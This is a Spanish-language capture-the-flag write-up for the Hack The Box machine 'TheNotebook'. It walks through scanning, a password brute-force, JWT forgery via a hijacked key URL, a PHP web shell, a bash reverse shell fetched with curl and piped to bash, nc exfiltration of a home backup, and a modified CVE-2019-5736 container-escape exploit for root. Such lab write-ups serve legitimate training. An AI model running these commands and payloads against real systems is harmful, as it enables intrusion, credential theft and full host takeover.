TheNotebook {-}

Introduccion {-}

La maquina del dia 31/07/2021 se llama TheNotebook .

El replay del live se puede ver aqui

No olvideis dejar un like al video y un comentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.230

ttl: 63 -> maquina linux. Recuerda que en cuanto a ttl respecta 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.230 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.230 -oN targeted

Puerto	Servicio	Que se nos occure?	Que falta?
22	ssh	conexion directa	usuario y contraseña
80	http	Analizis de la web y Fuzzing

Analizando la web {-}

Whatweb {-}

whatweb http://10.10.10.230

Nada muy interesante

http-enum {-}

Lanzamos un web scan con nmap.

nmap --script http-enum -p80 10.10.10.230 -oN webScan

Ya nos detecta un

 /phpmyadmin/ 

y ficheros de wordpress

Chequear la web por puerto 80 {-}

Con firefox navigamos en la web para ver lo que es.

• wappalizer nos dice que hay nginx ubuntu bootstrap
• hay un register y un login pero no vemos extensiones php
• Si pinchamos el login intentamos ponerle un admin admin y nos dice que la contraseña es incorrecta -> usuario admin existe
• Si ponemos administrator admin nos dice que el usuario es incorrecto

Vemos que hay formas de enumeracion con este login

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.37/WFUZZ

Encontramos un ruta plugins que no suele ser normal porque en wordpress los plugins suelen estar en

 /wp-content/plugins 

y no en

 /plugins 

directamente

Aqui encontramos dos ficheros

 .jar 

. Los descargamos en nuestra maquina de atacante.

Evaluacion de vulnerabilidades {-}

Ataque de tipo intruder con BurpSuite {-}

1. Creamos un diccionario basado en el rockyou.txt

   cd content
   head -n 10000 /usr/share/wordlists/rockyou.txt > passwords

2. Desde burpsuite configuramos el scope hacia la url http://10.10.10.230

3. En firefox le ponemos el foxyproxy para el burpsuite

4. Lanzamos una peticion desde login con admin admin y la interceptamos con el burpsuite

5. En burpsuite le damos al

 Ctrl+i 

para enviarlo al intruder

1. Configuramos el attacker Sniper dando la posicion a la palabra password

1. Cargamos el diccionario creado a la payload list y le quitamos el Payload encoding

   knitr::include_graphics("images/notebook-sniper-list.png")

- en Grep - Extract damos a ADD - le damos a Fetch response

    ```{r, echo = FALSE, fig.cap="notebook sniper fetch response", out.width="90%"}
    knitr::include_graphics("images/notebook-fetch-response.png")
    ```

Register un nuevo usuario {-}

Como no a sido posible reventar la mamona con un password brute force, utilizamos la web para ver si encontramos una vulnerabilidad. Nos creamos un usuario y vemos que podemos añadir notas como un blog. Una de las possibilidades seria tratar de hacer fuzzing pero en este caso necesitariamos la cookie de session.Analizando un poco vemos que la cookie de session esta almazenada por un JWT.

Antes de tratar de fuzzear, mirramos si se puede tratar de reventar el JWT Token.

Copiamos el token y la auditamos en jwt.io

Vemos que hay una data que se llama admin_cap y que esta setteada a 0. Pero si tratamos de cambiar a 1 nos invalida el token y vemos que es porque necesitamos un key (private o public) que parece que sea en el

 http://localhost:7070/privKey.key 

de la maquina victima. Posiblemente podriamos Hijackear la url donde encuentra esta Key por una creado por nosotros.

JWT Hijacking {-}

1. Nos creamos un par de claves con openssl

   openssl genrsa -out privKey.key 2048

2. Introducimos la key en la web de JWT.io

   knitr::include_graphics("images/jwt-hijacking.png")

3. Nos entablamos un servidor web para que pueda cojer la key

1. Copiamos el JWT token en firefox

   knitr::include_graphics("images/jwt-firefox.png")

Ya lanzando la web otra vez y vemos que un Admin Panel a salido y en el cual se puede ver notas y uploadear ficheros.

Analizamos las notas {-}

• Usuario Noah
• Ejecucion de fichero php

Uploadeamos un s4vishell.php {-}

Como hay un boton upload vamos a por una

 s4vishell.php 

<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Subimos el fichero y perfecto nos va y pinchando el boton view ya tenemos Remote Code Execution

Explotacion de vulnerabilidad & Ganando Acceso {-}

Crear una reverse shell desde la s4vishell.php con un index.html {-}

1. Creamos un index.html

   #!/bin/bash
   
   bash -i >& /dev/tcp/10.10.14.8/443 0>&1

2. Compartimos un servicio http por el puerto 80

   python3 -m http.server 80

3. Desde la s4vishell

   http://10.10.10.230/6a5sd4f6a5sd1f6as5dfa6sd51fa.php?cmd=curl 10.10.14.8|bash

Ya esta

whoami
#Output

www-data

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Investigamos la maquina {-}

ls -l
cd /home
ls -l
cd noah/
cat user.txt

Permission denied. Nos tenemos que pasar al usuario Noah

User Pivoting al usuario noah {-}

Analizamos el systema {-}

id
sudo -l
cd /
find \-perm -4000 2>/dev/null
cat /etc/crontab
ls -l /var/spool/cron

No vemos nada. Tendremos que pasar por el sistema web

cd /var
find \-type f 2>/dev/null
find \-type f 2>/dev/null | grep "config"
find \-type f 2>/dev/null | grep "config" | xargs grep "password" 2>/dev/null
find \-type f 2>/dev/null | grep "config" | xargs grep -E "username|password|key|database" 2>/dev/null
find \-type f 2>/dev/null | grep "config" | xargs grep -E "username|password|key|database" 2>/dev/null | grep -v "debconf"
find \-type f 2>/dev/null | grep "config" | xargs grep -E "username|password|key|database" 2>/dev/null | grep -v -E "debconf|keyboard"

Tampoco vemos algo aqui.

cd /var
find \-type f 2>/dev/null | grep -v -E "lib|cache"

Aqui vemos algo que podria ser interesante.

cd /var/backups
ls -l

Vemos un

 home.tar.gz 

y tenemos derecho de visualizar

Nos enviamos el home.tar.gz {-}

1. En la maquina de atacante

   nc -nlvp 443 > home.tar.gz

2. En la maquina victima

   nc 10.10.14.8 443 < home.tar.gz

3. Hacemos un md5sum para ver la integridad de la data

4. Analizamos el fichero

   7z l home.tar.gz

Ya podemos ver que es un comprimido del directorio home del usuario Noah con authorized_key y una id_rsa del proprio usuario

Conexion por ssh {-}

chmod 600 id_rsa
ssh -i id_rsa noah@10.10.10.230

Ya estamos a dentro y podemos ver la flag

Escalada de Privilegios {-}

Rootear la maquina {-}

id
sudo -l
#Output

(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

Investigamos el container webapp-dev01 con docker pero no encontramos nada

docker --version
#Output

Docker version 18.06.0-ce

Miramos si existe un exploit en la web

 docker 18.06.0-ce exploit github 

y encontramos algo en CVE-2019-5736-POC

cd exploits
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd CVE-2019-5736-PoC

vi main.go

Aqui mirando el

 main.go 

vemos un comentario que dice:

 // This is the line of shell commands that will execute on host 

La modificamos para autorgar un derecho SUID a la bash

var payload = "#!/bin/bash \n chmod 4755 /bin/bash

Ahora lo compilamos y lo transferimos a la maquina victima

1. En la maquina de attackante buildeamos el exploit y preparamos el envio

   go build -ldflags "-s -w" main.go
   ls
   upx main
   mv main exploit
   python -m http.server 80

2. En la maquina victima nos conectamos al contenedor

   sudo /usr/bin/docker exec -it webapp-dev01 bash
   cd /tmp
   wget http://10.10.14.8/exploit
   ls
   chmod +x exploit
   ./exploit

3. No conectamos nuevamente con ssh

   ssh -i id_rsa noah@10.10.10.230
   sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
   ls -l /bin/bash
   bash -p
   whoami
   
   root

Ya estamos root y podemos leer la flag